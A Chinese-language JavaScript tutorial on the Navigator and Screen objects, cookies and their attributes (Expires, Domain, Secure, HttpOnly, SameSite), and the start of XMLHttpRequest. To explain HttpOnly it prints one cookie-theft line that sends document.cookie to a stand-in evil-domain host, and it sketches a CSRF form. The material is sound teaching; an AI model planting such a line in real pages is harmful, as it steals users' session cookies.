JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)
文章目錄
- JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)
- 56. Navigator 物件,Screen 物件,
- 56.1 Navigator 物件的屬性
- 56.1.1 Navigator.userAgent
- 56.1.2 Navigator.plugins
- 56.1.3 Navigator.platform
- 56.1.4 Navigator.onLine
- 56.1.5 Navigator.language,Navigator.languages
- 56.1.6 Navigator.geolocation
- 56.1.7 Navigator.cookieEnabled
- 56.2 Navigator 物件的方法
- 56.2.1 Navigator.javaEnabled()
- 56.2.2 Navigator.sendBeacon()
- 56.3 Navigator 的實驗性屬性
- 56.3.1 Navigator.deviceMemory
- 56.3.2 Navigator.hardwareConcurrency
- 56.3.3 Navigator.connection
- 56.4 Screen 物件
- 57. Cookie
- 57.1 概述
- 57.2 Cookie 與 HTTP 協議
- 57.2.1 HTTP 回應:Cookie 的生成
- 57.2.2 HTTP 請求:Cookie 的發送
- 57.3 Cookie 的屬性(==52.2 session 歷史事件==)
- 57.3.1 Expires,Max-Age
- 57.3.2 Domain,Path
- 57.3.3 Secure,HttpOnly
- 57.3.4 SameSite
- **(1)Strict**
- **(2)Lax**
- **(3)None**
- 57.4 document.cookie
- 58. XMLHttpRequest 物件(==AJAX==)
- 58.1 簡介
- 58.2 XMLHttpRequest 的實體屬性
- 58.2.1 XMLHttpRequest.readyState
- 58.2.2 XMLHttpRequest.onreadystatechange
- 58.2.3 XMLHttpRequest.response
- 58.2.4 XMLHttpRequest.responseType
- 58.2.5 XMLHttpRequest.responseText
- 58.2.6 XMLHttpRequest.responseXML
- 58.2.7 XMLHttpRequest.responseURL
- 58.2.8 XMLHttpRequest.status,XMLHttpRequest.statusText
- 58.2.9 XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout
- 58.2.10 事件監聽屬性(on-**)
- 58.2.11 XMLHttpRequest.withCredentials
- 58.2.12 XMLHttpRequest.upload
- 58.3 XMLHttpRequest 的實體方法
- 58.3.1 XMLHttpRequest.open()
- 58.3.2 XMLHttpRequest.send()
- 58.3.3 XMLHttpRequest.setRequestHeader()
- 58.3.4 XMLHttpRequest.overrideMimeType()
- 58.3.5 XMLHttpRequest.getResponseHeader()
- 58.3.6 XMLHttpRequest.getAllResponseHeaders()
- 58.3.7 XMLHttpRequest.abort()
- 58.4 XMLHttpRequest 實體的事件
- 58.4.1 readyStateChange 事件
- 58.4.2 progress 事件
- 58.4.3 load 事件、error 事件、abort 事件
- 58.4.4 loadend 事件
- 58.4.5 timeout 事件
- 58.5 Navigator.sendBeacon()
- 59. 同源限制
- 59.1 概述
- 59.1.1 含義
- 59.1.2 目的
- 59.1.3 限制范圍
- 59.2 Cookie
- 59.3 iframe 和多視窗通信
- 59.3.1 片段識別符 fragment identifier
- 59.3.2 window.postMessage()(==message-.source .origin==)
- 59.3.3 LocalStorage
- 59.4 AJAX
- 59.4.1 JSONP
- 59.4.2 WebSocket
- 59.4.3 CORS
- 60. CORS 通信
- 60.1 簡介
- 60.2 兩種請求
- 60.3 簡單請求
- 60.3.1 基本流程
- **(1)`Access-Control-Allow-Origin`**
- **(2)`Access-Control-Allow-Credentials`**
- **(3)`Access-Control-Expose-Headers`**
- 60.3.2 withCredentials 屬性
- 60.4 非簡單請求
- 60.4.1 預檢請求
- **(1)`Access-Control-Request-Method`**
- **(2)`Access-Control-Request-Headers`**
- 60.4.2 預檢請求的回應
- **(1)`Access-Control-Allow-Methods`**
- **(2)`Access-Control-Allow-Headers`**
- **(3)`Access-Control-Allow-Credentials`**
- **(4)`Access-Control-Max-Age`**
- 60.4.3 瀏覽器的正常請求和回應
- 60.5 與 JSONP 的比較
56. Navigator 物件,Screen 物件,
window.navigator屬性指向一個包含瀏覽器和系統資訊的 Navigator 物件,腳本通過這個屬性了解用戶的環境資訊,
56.1 Navigator 物件的屬性
56.1.1 Navigator.userAgent
navigator.userAgent屬性回傳瀏覽器的 User Agent 字串,表示瀏覽器的廠商和版本資訊,
下面是 Chrome 瀏覽器的userAgent,
navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"
通過userAgent屬性識別瀏覽器,不是一個好辦法,因為必須考慮所有的情況(不同的瀏覽器,不同的版本),非常麻煩,而且用戶可以改變這個字串,這個字串的格式并無統一規定,也無法保證未來的適用性,各種上網設備層出不窮,難以窮盡,所以,現在一般不再通過它識別瀏覽器了,而是使用“功能識別”方法,即逐一測驗當前瀏覽器是否支持要用到的 JavaScript 功能,
不過,通過userAgent可以大致準確地識別手機瀏覽器,方法就是測驗是否包含mobi字串,
var ua = navigator.userAgent.toLowerCase();
if (/mobi/i.test(ua)) {
// 手機瀏覽器
} else {
// 非手機瀏覽器
}
如果想要識別所有移動設備的瀏覽器,可以測驗更多的特征字串,
/mobi|android|touch|mini/i.test(ua)
56.1.2 Navigator.plugins
Navigator.plugins屬性回傳一個類似陣列的物件,成員是 Plugin 實體物件,表示瀏覽器安裝的插件,比如 Flash、ActiveX 等,
var pluginsLength = navigator.plugins.length;
for (var i = 0; i < pluginsLength; i++) {
console.log(navigator.plugins[i].name);
console.log(navigator.plugins[i].filename);
console.log(navigator.plugins[i].description);
console.log(navigator.plugins[i].version);
}
56.1.3 Navigator.platform
Navigator.platform屬性回傳用戶的作業系統資訊,比如MacIntel、Win32、Linux x86_64等 ,
navigator.platform
// "Linux x86_64"
56.1.4 Navigator.onLine
navigator.onLine屬性回傳一個布林值,表示用戶當前在線還是離線(瀏覽器斷線),
navigator.onLine // true
有時,瀏覽器可以連接局域網,但是局域網不能連通外網,這時,有的瀏覽器的onLine屬性會回傳true,所以不能假定只要是true,用戶就一定能訪問互聯網,不過,如果是false,可以斷定用戶一定離線,
用戶變成在線會觸發online事件,變成離線會觸發offline事件,可以通過window.ononline和window.onoffline指定這兩個事件的回呼函式,
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });
56.1.5 Navigator.language,Navigator.languages
Navigator.language屬性回傳一個字串,表示瀏覽器的首選語言,該屬性只讀,
navigator.language // "en"
Navigator.languages屬性回傳一個陣列,表示用戶可以接受的語言,Navigator.language總是這個陣列的第一個成員,HTTP 請求頭資訊的Accept-Language欄位,就來自這個陣列,
navigator.languages // ["en-US", "en", "zh-CN", "zh", "zh-TW"]
如果這個屬性發生變化,就會在window物件上觸發languagechange事件,
56.1.6 Navigator.geolocation
Navigator.geolocation屬性回傳一個 Geolocation 物件,包含用戶地理位置的信息,注意,該 API 只有在 HTTPS 協議下可用,否則呼叫下面方法時會報錯,
Geolocation 物件提供下面三個方法,
- Geolocation.getCurrentPosition():得到用戶的當前位置
- Geolocation.watchPosition():監聽用戶位置變化
- Geolocation.clearWatch():取消
watchPosition()方法指定的監聽函式
注意,呼叫這三個方法時,瀏覽器會跳出一個對話框,要求用戶給予授權,
56.1.7 Navigator.cookieEnabled
navigator.cookieEnabled屬性回傳一個布林值,表示瀏覽器的 Cookie 功能是否打開,
navigator.cookieEnabled // true
注意,這個屬性反映的是瀏覽器總的特性,與是否儲存某個具體的網站的 Cookie 無關,用戶可以設定某個網站不得儲存 Cookie,這時cookieEnabled回傳的還是true,
56.2 Navigator 物件的方法
56.2.1 Navigator.javaEnabled()
navigator.javaEnabled()方法回傳一個布林值,表示瀏覽器是否能運行 Java Applet 小程式,
navigator.javaEnabled() // false
56.2.2 Navigator.sendBeacon()
Navigator.sendBeacon()方法用于向服務器異步發送資料,詳見《XMLHttpRequest 物件》一章,
56.3 Navigator 的實驗性屬性
Navigator 物件有一些實驗性屬性,在部分瀏覽器可用,
56.3.1 Navigator.deviceMemory
navigator.deviceMemory屬性回傳當前計算機的記憶體數量(單位為 GB),該屬性只讀,只在 HTTPS 環境下可用,
它的回傳值是一個近似值,四舍五入到最接近的2的冪,通常是 0.25、0.5、1、2、4、8,實際記憶體超過 8GB,也回傳8,
if (navigator.deviceMemory > 1) {
await import('./costly-module.js');
}
上面示例中,只有當前記憶體大于 1GB,才加載大型的腳本,
56.3.2 Navigator.hardwareConcurrency
navigator.hardwareConcurrency屬性回傳用戶計算機上可用的邏輯處理器的數量,該屬性只讀,
現代計算機的 CPU 有多個物理核心,每個物理核心有時支持一次運行多個執行緒,因此,四核 CPU 可以提供八個邏輯處理器核心,
if (navigator.hardwareConcurrency > 4) {
await import('./costly-module.js');
}
上面示例中,可用的邏輯處理器大于4,才會加載大型腳本,
該屬性通過用于創建 Web Worker,每個可用的邏輯處理器都創建一個 Worker,
let workerList = [];
for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
let newWorker = {
worker: new Worker('cpuworker.js'),
inUse: false
};
workerList.push(newWorker);
}
上面示例中,有多少個可用的邏輯處理器,就創建多少個 Web Worker,
56.3.3 Navigator.connection
navigator.connection屬性回傳一個物件,包含當前網路連接的相關資訊,
- downlink:有效帶寬估計值(單位:兆位元/秒,Mbps),四舍五入到每秒 25KB 的最接近倍數,
- downlinkMax:當前連接的最大下行鏈路速度(單位:兆位元每秒,Mbps),
- effectiveType:回傳連接的等效型別,可能的值為
slow-2g、2g、3g、4g, - rtt:當前連接的估計有效往返時間,四舍五入到最接近的25毫秒的倍數,
- saveData:用戶是否設定了瀏覽器的減少資料使用量選項(比如不加載圖片),回傳
true或者false, - type:當前連接的介質型別,可能的值為
bluetooth、cellular、ethernet、none、wifi、wimax、other、unknown,
if (navigator.connection.effectiveType === '4g') {
await import('./costly-module.js');
}
上面示例中,如果網路連接是 4G,則加載大型腳本,
56.4 Screen 物件
Screen 物件表示當前視窗所在的螢屏,提供顯示設備的資訊,window.screen屬性指向這個物件,
該物件有下面的屬性,
Screen.height:瀏覽器視窗所在的螢屏的高度(單位像素),除非調整顯示幕的解析度,否則這個值可以看作常量,不會發生變化,顯示幕的解析度與瀏覽器設定無關,縮放網頁并不會改變解析度,Screen.width:瀏覽器視窗所在的螢屏的寬度(單位像素),Screen.availHeight:瀏覽器視窗可用的螢屏高度(單位像素),因為部分空間可能不可用,比如系統的任務欄或者 Mac 系統螢屏底部的 Dock 區,這個屬性等于height減去那些被系統組件的高度,Screen.availWidth:瀏覽器視窗可用的螢屏寬度(單位像素),Screen.pixelDepth:整數,表示螢屏的色彩位數,比如24表示螢屏提供24位色彩,Screen.colorDepth:Screen.pixelDepth的別名,嚴格地說,colorDepth 表示應用程式的顏色深度,pixelDepth 表示螢屏的顏色深度,絕大多數情況下,它們都是同一件事,Screen.orientation:回傳一個物件,表示螢屏的方向,該物件的type屬性是一個字串,表示螢屏的具體方向,landscape-primary表示橫放,landscape-secondary表示顛倒的橫放,portrait-primary表示豎放,portrait-secondary表示顛倒的豎放,
下面是Screen.orientation的例子,
window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }
下面的例子保證螢屏解析度大于 1024 x 768,
if (window.screen.width >= 1024 && window.screen.height >= 768) {
// 解析度不低于 1024x768
}
下面是根據螢屏的寬度,將用戶導向不同網頁的代碼,
if ((screen.width <= 800) && (screen.height <= 600)) {
window.location.replace('small.html');
} else {
window.location.replace('wide.html');
}
57. Cookie
57.1 概述
Cookie 是服務器保存在瀏覽器的一小段文本資訊,一般大小不能超過4KB,瀏覽器每次向服務器發出請求,就會自動附上這段資訊,
Cookie 主要保存狀態資訊,以下是一些主要用途,
- 對話(session)管理:保存登錄、購物車等需要記錄的資訊,
- 個性化資訊:保存用戶的偏好,比如網頁的字體大小、背景色等等,
- 追蹤用戶:記錄和分析用戶行為,
Cookie 不是一種理想的客戶端儲存機制,它的容量很小(4KB),缺乏資料操作介面,而且會影響性能,客戶端儲存應該使用 Web storage API 和 IndexedDB,只有那些每次請求都需要讓服務器知道的資訊,才應該放在 Cookie 里面,
每個 Cookie 都有以下幾方面的元資料,
- Cookie 的名字
- Cookie 的值(真正的資料寫在這里面)
- 到期時間(超過這個時間會失效)
- 所屬域名(默認為當前域名)
- 生效的路徑(默認為當前網址)
舉例來說,用戶訪問網址www.example.com,服務器在瀏覽器寫入一個 Cookie,這個 Cookie 的所屬域名為www.example.com,生效路徑為根路徑/,如果 Cookie 的生效路徑設為/forums,那么這個 Cookie 只有在訪問www.example.com/forums及其子路徑時才有效,以后,瀏覽器訪問某個路徑之前,就會找出對該域名和路徑有效,并且還沒有到期的 Cookie,一起發送給服務器,
用戶可以設定瀏覽器不接受 Cookie,也可以設定不向服務器發送 Cookie,window.navigator.cookieEnabled屬性回傳一個布林值,表示瀏覽器是否打開 Cookie 功能,
window.navigator.cookieEnabled // true
document.cookie屬性回傳當前網頁的 Cookie,
document.cookie // "id=foo;key=bar"
不同瀏覽器對 Cookie 數量和大小的限制,是不一樣的,一般來說,單個域名設定的 Cookie 不應超過30個,每個 Cookie 的大小不能超過4KB,超過限制以后,Cookie 將被忽略,不會被設定,
瀏覽器的同源政策規定,兩個網址只要域名相同,就可以共享 Cookie(參見《同源政策》一章),注意,這里不要求協議相同,也就是說,http://example.com設定的 Cookie,可以被https://example.com讀取,
57.2 Cookie 與 HTTP 協議
Cookie 由 HTTP 協議生成,也主要是供 HTTP 協議使用,
57.2.1 HTTP 回應:Cookie 的生成
服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭資訊里面,放置一個Set-Cookie欄位,
Set-Cookie:foo=bar
上面代碼會在瀏覽器保存一個名為foo的 Cookie,它的值為bar,
HTTP 回應可以包含多個Set-Cookie欄位,即在瀏覽器生成多個 Cookie,下面是一個例子,
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
除了 Cookie 的值,Set-Cookie欄位還可以附加 Cookie 的屬性,
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
上面的幾個屬性的含義,將在后文解釋,
一個Set-Cookie欄位里面,可以同時包括多個屬性,沒有次序的要求,
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
下面是一個例子,
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服務器想改變一個早先設定的 Cookie,必須同時滿足四個條件:Cookie 的key、domain、path和secure都匹配,舉例來說,如果原始的 Cookie 是用如下的Set-Cookie設定的,
Set-Cookie: key1=value1; domain=example.com; path=/blog
改變上面這個 Cookie 的值,就必須使用同樣的Set-Cookie,
Set-Cookie: key1=value2; domain=example.com; path=/blog
只要有一個屬性不同,就會生成一個全新的 Cookie,而不是替換掉原來那個 Cookie,
Set-Cookie: key1=value2; domain=example.com; path=/
上面的命令設定了一個全新的同名 Cookie,但是path屬性不一樣,下一次訪問example.com/blog的時候,瀏覽器將向服務器發送兩個同名的 Cookie,
Cookie: key1=value1; key1=value2
上面代碼的兩個 Cookie 是同名的,匹配越精確的 Cookie 排在越前面,
57.2.2 HTTP 請求:Cookie 的發送
瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie,也就是說,把服務器早前保存在瀏覽器的這段資訊,再發回服務器,這時要使用 HTTP 頭資訊的Cookie欄位,
Cookie: foo=bar
上面代碼會向服務器發送名為foo的 Cookie,值為bar,
Cookie欄位可以包含多個 Cookie,使用分號(;)分隔,
Cookie: name=value; name2=value2; name3=value3
下面是一個例子,
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服務器收到瀏覽器發來的 Cookie 時,有兩點是無法知道的,
- Cookie 的各種屬性,比如何時過期,
- 哪個域名設定的 Cookie,到底是一級域名設的,還是某一個二級域名設的,
57.3 Cookie 的屬性(52.2 session 歷史事件)
57.3.1 Expires,Max-Age
Expires屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie,它的值是 UTC 格式,可以使用Date.prototype.toUTCString()進行格式轉換,
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
如果不設定該屬性,或者設為null,Cookie 只在當前會話(session)有效,瀏覽器視窗一旦關閉,當前 Session 結束,該 Cookie 就會被洗掉,另外,瀏覽器根據本地時間,決定 Cookie 是否過期,由于本地時間是不精確的,所以沒有辦法保證 Cookie 一定會在服務器指定的時間過期,
Max-Age屬性指定從現在開始 Cookie 存在的秒數,比如60 * 60 * 24 * 365(即一年),過了這個時間以后,瀏覽器就不再保留這個 Cookie,
如果同時指定了Expires和Max-Age,那么Max-Age的值將優先生效,
如果Set-Cookie欄位沒有指定Expires或Max-Age屬性,那么這個 Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關閉瀏覽器,瀏覽器就不會再保留這個 Cookie,
57.3.2 Domain,Path
Domain屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie,如果沒有指定該屬性,瀏覽器會默認將其設為當前域名,這時子域名將不會附帶這個 Cookie,比如,example.com不設定 Cookie 的domain屬性,那么sub.example.com將不會附帶這個 Cookie,如果指定了domain屬性,那么子域名也會附帶這個 Cookie,如果服務器指定的域名不屬于當前域名,瀏覽器會拒絕這個 Cookie,
Path屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie,只要瀏覽器發現,Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭資訊里面帶上這個 Cookie,比如,PATH屬性是/,那么請求/docs路徑也會包含該 Cookie,當然,前提是域名必須一致,
57.3.3 Secure,HttpOnly
Secure屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器,另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的Secure屬性,該屬性只是一個開關,不需要指定值,如果通信是 HTTPS 協議,該開關自動打開,
HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie屬性、XMLHttpRequest物件和 Request API 都拿不到該屬性,這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie,
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器,如果設定了一個 Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie,
57.3.4 SameSite
Chrome 51 開始,瀏覽器的 Cookie 新增加了一個SameSite屬性,用來防止 CSRF 攻擊和用戶追蹤,
Cookie 往往用來存盤用戶的身份資訊,惡意網站可以設法偽造帶有正確 Cookie 的 HTTP 請求,這就是 CSRF 攻擊,舉例來說,用戶登陸了銀行網站your-bank.com,銀行服務器發來了一個 Cookie,
Set-Cookie:id=a3fWa;
用戶后來又訪問了惡意網站malicious.com,上面有一個表單,
<form action="your-bank.com/transfer" method="POST">
...
</form>
用戶一旦被誘騙發送這個表單,銀行網站就會收到帶有正確 Cookie 的請求,為了防止這種攻擊,表單一般都帶有一個隨機 token,告訴服務器這是真實請求,
<form action="your-bank.com/transfer" method="POST">
<input type="hidden" name="token" value="dad3weg34">
...
</form>
這種第三方網站引導發出的 Cookie,就稱為第三方 Cookie,它除了用于 CSRF 攻擊,還可以用于用戶追蹤,比如,Facebook 在第三方網站插入一張看不見的圖片,
<img src="facebook.com" style="visibility:hidden;">
瀏覽器加載上面代碼時,就會向 Facebook 發出帶有 Cookie 的請求,從而 Facebook 就會知道你是誰,訪問了什么網站,
Cookie 的SameSite屬性用來限制第三方 Cookie,從而減少安全風險,它可以設定三個值,
- Strict
- Lax
- None
(1)Strict
Strict最為嚴格,完全禁止第三方 Cookie,跨站點時,任何情況下都不會發送 Cookie,換言之,只有當前網頁的 URL 與請求目標一致,才會帶上 Cookie,
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
這個規則過于嚴格,可能造成非常不好的用戶體驗,比如,當前網頁有一個 GitHub 鏈接,用戶點擊跳轉就不會帶有 GitHub 的 Cookie,跳轉過去總是未登陸狀態,
(2)Lax
Lax規則稍稍放寬,大多數情況也是不發送第三方 Cookie,但是導航到目標網址的 Get 請求除外,
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
導航到目標網址的 GET 請求,只包括三種情況:鏈接,預加載請求,GET 表單,詳見下表,
| 請求型別 | 示例 | 正常情況 | Lax |
|---|---|---|---|
| 鏈接 | <a href="..."></a> | 發送 Cookie | 發送 Cookie |
| 預加載 | <link rel="prerender" href="..."/> | 發送 Cookie | 發送 Cookie |
| GET 表單 | <form method="GET" action="..."> | 發送 Cookie | 發送 Cookie |
| POST 表單 | <form method="POST" action="..."> | 發送 Cookie | 不發送 |
| iframe | <iframe src="..."></iframe> | 發送 Cookie | 不發送 |
| AJAX | $.get("...") | 發送 Cookie | 不發送 |
| Image | <img src="..."> | 發送 Cookie | 不發送 |
**設定了Strict或Lax以后,基本就杜絕了 CSRF 攻擊,**當然,前提是用戶瀏覽器支持 SameSite 屬性,
(3)None
Chrome 計劃將Lax變為默認設定,這時,網站可以選擇顯式關閉SameSite屬性,將其設為None,不過,前提是必須同時設定Secure屬性(Cookie 只能通過 HTTPS 協議發送),否則無效,
下面的設定無效,
Set-Cookie: widget_session=abc123; SameSite=None
下面的設定有效,
Set-Cookie: widget_session=abc123; SameSite=None; Secure
57.4 document.cookie
document.cookie屬性用于讀寫當前網頁的 Cookie,
讀取的時候,它會回傳當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性,
document.cookie // "foo=bar;baz=bar"
上面代碼從document.cookie一次性讀出兩個 Cookie,它們之間使用分號分隔,必須手動還原,才能取出每一個 Cookie 的值,
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
document.cookie屬性是可寫的,可以通過它為當前網站添加 Cookie,
document.cookie = 'fontSize=14';
寫入的時候,Cookie 的值必須寫成key=value的形式,注意,等號兩邊不能有空格,另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用encodeURIComponent方法達到,
但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆寫,而是添加,
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
document.cookie讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個 Cookie),與 HTTP 協議的 Cookie 通信格式有關,瀏覽器向服務器發送 Cookie 的時候,Cookie欄位是使用一行將所有 Cookie 全部發送;服務器向瀏覽器設定 Cookie 的時候,Set-Cookie欄位是一行設定一個 Cookie,
寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性,
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
上面代碼中,寫入 Cookie 的時候,同時設定了expires屬性,屬性值的等號兩邊,也是不能有空格的,
各個屬性的寫入注意點如下,
path屬性必須為絕對路徑,默認為當前路徑,domain屬性值必須是當前發送 Cookie 的域名的一部分,比如,當前域名是example.com,就不能將其設為foo.com,該屬性默認為當前的一級域名(不含二級域名),max-age屬性的值為秒數,expires屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()進行日期格式轉換,
document.cookie寫入 Cookie 的例子如下,
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
Cookie 的屬性一旦設定完成,就沒有辦法讀取這些屬性的值,
洗掉一個現存 Cookie 的唯一方法,是設定它的expires屬性為一個過去的日期,
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
上面代碼中,名為fontSize的 Cookie 的值為空,過期時間設為1970年1月1月零點,就等同于洗掉了這個 Cookie,
58. XMLHttpRequest 物件(AJAX)
58.1 簡介
瀏覽器與服務器之間,采用 HTTP 協議通信,用戶在瀏覽器地址欄鍵入一個網址,或者通過網頁表單向服務器提交內容,這時瀏覽器就會向服務器發出 HTTP 請求,
1999年,微軟公司發布 IE 瀏覽器5.0版,第一次引入新功能:允許 JavaScript 腳本向服務器發起 HTTP 請求,這個功能當時并沒有引起注意,直到2004年 Gmail 發布和2005年 Google Map 發布,才引起廣泛重視,2005年2月,==AJAX 這個詞第一次正式提出,它是 Asynchronous JavaScript and XML 的縮寫,指的是通過 JavaScript 的異步通信,從服務器獲取 XML 檔案從中提取資料,再更新當前網頁的對應部分,而不用重繪整個網頁,后來,AJAX 這個詞就成為 JavaScript 腳本發起 HTTP 通信的代名詞,也就是說,只要用腳本發起通信,就可以叫做 AJAX 通信,==W3C 也在2006年發布了它的國際標準,
具體來說,AJAX 包括以下幾個步驟,
- 創建 XMLHttpRequest 實體
- 發出 HTTP 請求
- 接收服務器傳回的資料
- 更新網頁資料
概括起來,就是一句話,AJAX 通過原生的XMLHttpRequest物件發出 HTTP 請求,得到服務器回傳的資料后,再進行處理,現在,服務器回傳的都是 JSON 格式的資料,XML 格式已經過時了,但是 AJAX 這個名字已經成了一個通用名詞,字面含義已經消失了,
XMLHttpRequest物件是 AJAX 的主要介面,用于瀏覽器與服務器之間的通信,盡管名字里面有XML和Http,它實際上可以使用多種協議(比如file或ftp),發送任何格式的資料(包括字串和二進制),
XMLHttpRequest本身是一個建構式,可以使用new命令生成實體,它沒有任何引數,
var xhr = new XMLHttpRequest();
一旦新建實體,就可以使用open()方法指定建立 HTTP 連接的一些細節,
xhr.open('GET', 'http://www.example.com/page.php', true);
上面代碼指定使用 GET 方法,跟指定的服務器網址建立連接,第三個引數true,表示請求是異步的,
然后,指定回呼函式,監聽通信狀態(readyState屬性)的變化,
xhr.onreadystatechange = handleStateChange;
function handleStateChange() {
// ...
}
上面代碼中,一旦XMLHttpRequest實體的狀態發生變化,就會呼叫監聽函式handleStateChange
最后使用send()方法,實際發出請求,
xhr.send(null);
上面代碼中,send()的引數為null,表示發送請求的時候,不帶有資料體,如果發送的是 POST 請求,這里就需要指定資料體,
一旦拿到服務器回傳的資料,AJAX 不會重繪整個網頁,而是只更新網頁里面的相關部分,從而不打斷用戶正在做的事情,
注意,AJAX 只能向同源網址(協議、域名、埠都相同)發出 HTTP 請求,如果發出跨域請求,就會報錯(詳見《同源政策》和《CORS 通信》兩章),
下面是XMLHttpRequest物件簡單用法的完整例子,
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
// 通信成功時,狀態值為4
if (xhr.readyState === 4){
if (xhr.status === 200){
console.log(xhr.responseText);
} else {
console.error(xhr.statusText);
}
}
};
xhr.onerror = function (e) {
console.error(xhr.statusText);
};
xhr.open('GET', '/endpoint', true);
xhr.send(null);
58.2 XMLHttpRequest 的實體屬性
58.2.1 XMLHttpRequest.readyState
XMLHttpRequest.readyState回傳一個整數,表示實體物件的當前狀態,該屬性只讀,它可能回傳以下值,
- 0,表示 XMLHttpRequest 實體已經生成,但是實體的
open()方法還沒有被呼叫, - 1,表示
open()方法已經呼叫,但是實體的send()方法還沒有呼叫,仍然可以使用實體的setRequestHeader()方法,設定 HTTP 請求的頭資訊, - 2,表示實體的
send()方法已經呼叫,并且服務器回傳的頭資訊和狀態碼已經收到, - 3,表示正在接收服務器傳來的資料體(body 部分),這時,如果實體的
responseType屬性等于text或者空字串,responseText屬性就會包含已經收到的部分資訊, - 4,表示服務器回傳的資料已經完全接收,或者本次接收已經失敗,
通信程序中,每當實體物件發生狀態變化,它的readyState屬性的值就會改變,這個值每一次變化,都會觸發readyStateChange事件,
var xhr = new XMLHttpRequest();
if (xhr.readyState === 4) {
// 請求結束,處理服務器回傳的資料
} else {
// 顯示提示“加載中……”
}
上面代碼中,xhr.readyState等于4時,表明腳本發出的 HTTP 請求已經完成,其他情況,都表示 HTTP 請求還在進行中,
58.2.2 XMLHttpRequest.onreadystatechange
XMLHttpRequest.onreadystatechange屬性指向一個監聽函式,readystatechange事件發生時(實體的readyState屬性變化),就會執行這個屬性,
另外,如果使用實體的abort()方法,終止 XMLHttpRequest 請求,也會造成readyState屬性變化,導致呼叫XMLHttpRequest.onreadystatechange屬性,
下面是一個例子,
var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
if (xhr.readyState !== 4 || xhr.status !== 200) {
return;
}
console.log(xhr.responseText);
};
xhr.send();
58.2.3 XMLHttpRequest.response
XMLHttpRequest.response屬性表示服務器回傳的資料體(即 HTTP 回應的 body 部分),它可能是任何資料型別,比如字串、物件、二進制物件等等,具體的型別由XMLHttpRequest.responseType屬性決定,該屬性只讀,
如果本次請求沒有成功或者資料不完整,該屬性等于null,但是,如果responseType屬性等于text或空字串,在請求沒有結束之前(readyState等于3的階段),response屬性包含服務器已經回傳的部分資料,
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
handler(xhr.response);
}
}
58.2.4 XMLHttpRequest.responseType
XMLHttpRequest.responseType屬性是一個字串,表示服務器回傳資料的型別,這個屬性是可寫的,可以在呼叫open()方法之后、呼叫send()方法之前,設定這個屬性的值,告訴瀏覽器如何解讀回傳的資料,如果responseType設為空字串,就等同于默認值text,
XMLHttpRequest.responseType屬性可以等于以下值,
- “”(空字串):等同于
text,表示服務器回傳文本資料, - “arraybuffer”:ArrayBuffer 物件,表示服務器回傳二進制陣列,
- “blob”:Blob 物件,表示服務器回傳二進制物件,
- “document”:Document 物件,表示服務器回傳一個檔案物件,
- “json”:JSON 物件,
- “text”:字串,
